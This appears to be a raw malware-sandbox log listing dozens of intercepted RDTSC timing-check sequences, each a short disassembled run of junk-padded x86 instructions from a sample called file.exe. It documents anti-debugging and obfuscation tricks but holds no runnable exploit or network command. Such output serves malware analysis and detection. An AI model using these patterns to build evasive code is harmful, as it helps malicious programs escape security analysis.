Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 774D09 second address: 774D40 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB8A0D84C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FB8A0D84CA9h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FB8A0D84CA2h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 774D40 second address: 774D44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77510D second address: 775125 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0D84CA4h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77526C second address: 775272 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7754E4 second address: 77551C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB8A0D84CA4h 0x00000009 pushad 0x0000000a jmp 00007FB8A0D84C9Bh 0x0000000f jmp 00007FB8A0D84CA0h 0x00000014 push esi 0x00000015 pop esi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 776471 second address: 776475 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D9D3 second address: 77D9D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78FD09 second address: 78FD0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78FD0F second address: 78FD35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FB8A0D84CA2h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB8A0D84C9Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78FD35 second address: 78FD39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7946A4 second address: 7946AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FB8A0D84C96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7946AE second address: 7946B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7946B2 second address: 7946B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7946B8 second address: 7946DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 jo 00007FB8A0B10076h 0x00000019 popad 0x0000001a popad 0x0000001b jbe 00007FB8A0B100ADh 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7946DD second address: 7946F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB8A0D84CA6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2518 second address: 7A251C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AAEFD second address: 7AAF19 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FB8A0D84CA7h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AB179 second address: 7AB180 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AB459 second address: 7AB476 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jmp 00007FB8A0D84C9Eh 0x0000000b push esi 0x0000000c jne 00007FB8A0D84C96h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AB5AE second address: 7AB5B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B0CA5 second address: 7B0CC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB8A0D84C9Fh 0x0000000e jng 00007FB8A0D84C96h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B08EA second address: 7B08F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B08F5 second address: 7B08FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B0A15 second address: 7B0A20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BA3B8 second address: 7BA3CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0D84C9Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BA24B second address: 7BA251 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BEF8A second address: 7BEF99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jp 00007FB8A0D84C96h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BEF99 second address: 7BEF9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0743 second address: 7C0765 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FB8A0D84CA9h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0765 second address: 7C076B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1D6F second address: 7D1DA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB8A0D84C9Bh 0x00000009 popad 0x0000000a jmp 00007FB8A0D84CA0h 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 jmp 00007FB8A0D84C9Ch 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E12B9 second address: 7E12BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E12BD second address: 7E12C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E12C3 second address: 7E12C8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E181B second address: 7E182A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jnl 00007FB8A0D84C96h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E182A second address: 7E182F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E182F second address: 7E1858 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB8A0D84CA7h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jp 00007FB8A0D84CBBh 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007FB8A0D84C96h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E356A second address: 7E3585 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007FB8A0B10085h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E60A4 second address: 7E60A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E63BD second address: 7E640E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0B10087h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d add dword ptr [ebp+122D2895h], edi 0x00000013 push dword ptr [ebp+122D2A83h] 0x00000019 push 00000000h 0x0000001b push edi 0x0000001c call 00007FB8A0B10078h 0x00000021 pop edi 0x00000022 mov dword ptr [esp+04h], edi 0x00000026 add dword ptr [esp+04h], 00000014h 0x0000002e inc edi 0x0000002f push edi 0x00000030 ret 0x00000031 pop edi 0x00000032 ret 0x00000033 push DB93DB32h 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E640E second address: 7E6412 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E7762 second address: 7E776F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E776F second address: 7E7793 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB8A0D84C9Fh 0x00000009 jmp 00007FB8A0D84CA0h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E96EA second address: 7E96F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E96F0 second address: 7E9704 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FB8A0D84C9Eh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E9704 second address: 7E9724 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FB8A0B10076h 0x0000000a jmp 00007FB8A0B10086h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EB37F second address: 7EB389 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB8A0D84C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EB389 second address: 7EB38E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EB38E second address: 7EB3E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FB8A0D84C96h 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jnp 00007FB8A0D84C9Ch 0x00000014 jmp 00007FB8A0D84CA8h 0x00000019 pushad 0x0000001a push eax 0x0000001b pop eax 0x0000001c pushad 0x0000001d popad 0x0000001e jmp 00007FB8A0D84CA8h 0x00000023 push ecx 0x00000024 pop ecx 0x00000025 popad 0x00000026 pushad 0x00000027 pushad 0x00000028 popad 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EB3E5 second address: 7EB3ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0046A second address: 4D00479 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0D84C9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00479 second address: 4D0047F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0047F second address: 4D00497 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0D84C9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00497 second address: 4D0049B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0049B second address: 4D004B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0D84CA7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D004B6 second address: 4D004CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB8A0B1007Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D004CA second address: 4D0051C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007FB8A0D84C9Fh 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007FB8A0D84C9Bh 0x00000016 pushfd 0x00000017 jmp 00007FB8A0D84CA8h 0x0000001c adc ecx, 0FFFE448h 0x00000022 jmp 00007FB8A0D84C9Bh 0x00000027 popfd 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0051C second address: 4D00534 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB8A0B1007Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D005B5 second address: 4D00619 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB8A0D84CA5h 0x00000009 and ecx, 03C9C6E6h 0x0000000f jmp 00007FB8A0D84CA1h 0x00000014 popfd 0x00000015 push ecx 0x00000016 pop edi 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b pushad 0x0000001c pushad 0x0000001d mov edx, ecx 0x0000001f mov bx, si 0x00000022 popad 0x00000023 mov di, cx 0x00000026 popad 0x00000027 mov ebp, esp 0x00000029 jmp 00007FB8A0D84CA8h 0x0000002e pop ebp 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00619 second address: 4D0061D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0061D second address: 4D00623 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FD8FE second address: 6FD920 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jp 00007FB8A0B10076h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f pushad 0x00000010 popad 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FB8A0B1007Eh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00C34 second address: 4D00C6F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0D84CA6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b jmp 00007FB8A0D84C9Eh 0x00000010 mov di, ax 0x00000013 popad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FB8A0D84C9Ah 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00C6F second address: 4D00C80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, CFh 0x00000005 mov ch, B4h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00C80 second address: 4D00C84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00C84 second address: 4D00C8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00C8A second address: 4D00CE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 jmp 00007FB8A0D84C9Bh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f jmp 00007FB8A0D84CA6h 0x00000014 push dword ptr [ebp+04h] 0x00000017 jmp 00007FB8A0D84CA0h 0x0000001c push dword ptr [ebp+0Ch] 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FB8A0D84CA7h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00CE4 second address: 4D00CEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00D20 second address: 4D00D34 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB8A0D84C9Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00D34 second address: 4D00C34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0B1007Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0008h 0x0000000c nop 0x0000000d mov dword ptr [005370C0h], eax 0x00000012 push 00281310h 0x00000017 mov ecx, dword ptr [005370A8h] 0x0000001d push ecx 0x0000001e call 00007FB8A55A6BB6h 0x00000023 mov edi, edi 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 mov ax, bx 0x0000002b call 00007FB8A0B1007Fh 0x00000030 pop esi 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D2000C second address: 4D2005A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, si 0x00000006 pushfd 0x00000007 jmp 00007FB8A0D84C9Ah 0x0000000c jmp 00007FB8A0D84CA5h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 xchg eax, ebp 0x00000016 jmp 00007FB8A0D84C9Eh 0x0000001b push eax 0x0000001c jmp 00007FB8A0D84C9Bh 0x00000021 xchg eax, ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 movsx edi, si 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D2005A second address: 4D2005F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D2005F second address: 4D200CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0D84CA3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov edi, esi 0x0000000e movzx esi, di 0x00000011 popad 0x00000012 push ebp 0x00000013 jmp 00007FB8A0D84CA8h 0x00000018 mov dword ptr [esp], ecx 0x0000001b jmp 00007FB8A0D84CA0h 0x00000020 xchg eax, ecx 0x00000021 jmp 00007FB8A0D84CA0h 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FB8A0D84C9Eh 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D200CD second address: 4D200D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D200D3 second address: 4D200D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D200D7 second address: 4D20148 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0B1007Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c pushad 0x0000000d pushad 0x0000000e mov edx, ecx 0x00000010 mov al, 2Bh 0x00000012 popad 0x00000013 call 00007FB8A0B1007Bh 0x00000018 call 00007FB8A0B10088h 0x0000001d pop ecx 0x0000001e pop edx 0x0000001f popad 0x00000020 push dword ptr [ebp+08h] 0x00000023 jmp 00007FB8A0B1007Eh 0x00000028 lea eax, dword ptr [ebp-08h] 0x0000002b pushad 0x0000002c mov al, E7h 0x0000002e mov di, FE9Eh 0x00000032 popad 0x00000033 push ebp 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007FB8A0B10081h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20148 second address: 4D2018B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0D84CA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FB8A0D84C9Ch 0x00000013 jmp 00007FB8A0D84CA5h 0x00000018 popfd 0x00000019 push eax 0x0000001a push edx 0x0000001b mov eax, 478BC40Dh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D201B7 second address: 4D201D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0B10089h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D201D4 second address: 4D201DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D201DA second address: 4D201DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D202CC second address: 4D2038D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0D84CA8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FB8A0D84CA0h 0x00000010 push 00000000h 0x00000012 jmp 00007FB8A0D84CA0h 0x00000017 push 00000000h 0x00000019 jmp 00007FB8A0D84CA0h 0x0000001e push dword ptr [ebp+1Ch] 0x00000021 jmp 00007FB8A0D84CA0h 0x00000026 push dword ptr [ebp+18h] 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007FB8A0D84C9Eh 0x00000030 or esi, 6BAFAC48h 0x00000036 jmp 00007FB8A0D84C9Bh 0x0000003b popfd 0x0000003c mov eax, 3EA0D7BFh 0x00000041 popad 0x00000042 push dword ptr [ebp+14h] 0x00000045 jmp 00007FB8A0D84CA2h 0x0000004a push dword ptr [ebp+10h] 0x0000004d push eax 0x0000004e push edx 0x0000004f jmp 00007FB8A0D84CA7h 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D2038D second address: 4D203CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 mov esi, ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push dword ptr [ebp+0Ch] 0x0000000d jmp 00007FB8A0B1007Dh 0x00000012 push dword ptr [ebp+08h] 0x00000015 pushad 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FB8A0B1007Ah 0x0000001d sub eax, 5F2F8368h 0x00000023 jmp 00007FB8A0B1007Bh 0x00000028 popfd 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D006D8 second address: 4D006DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
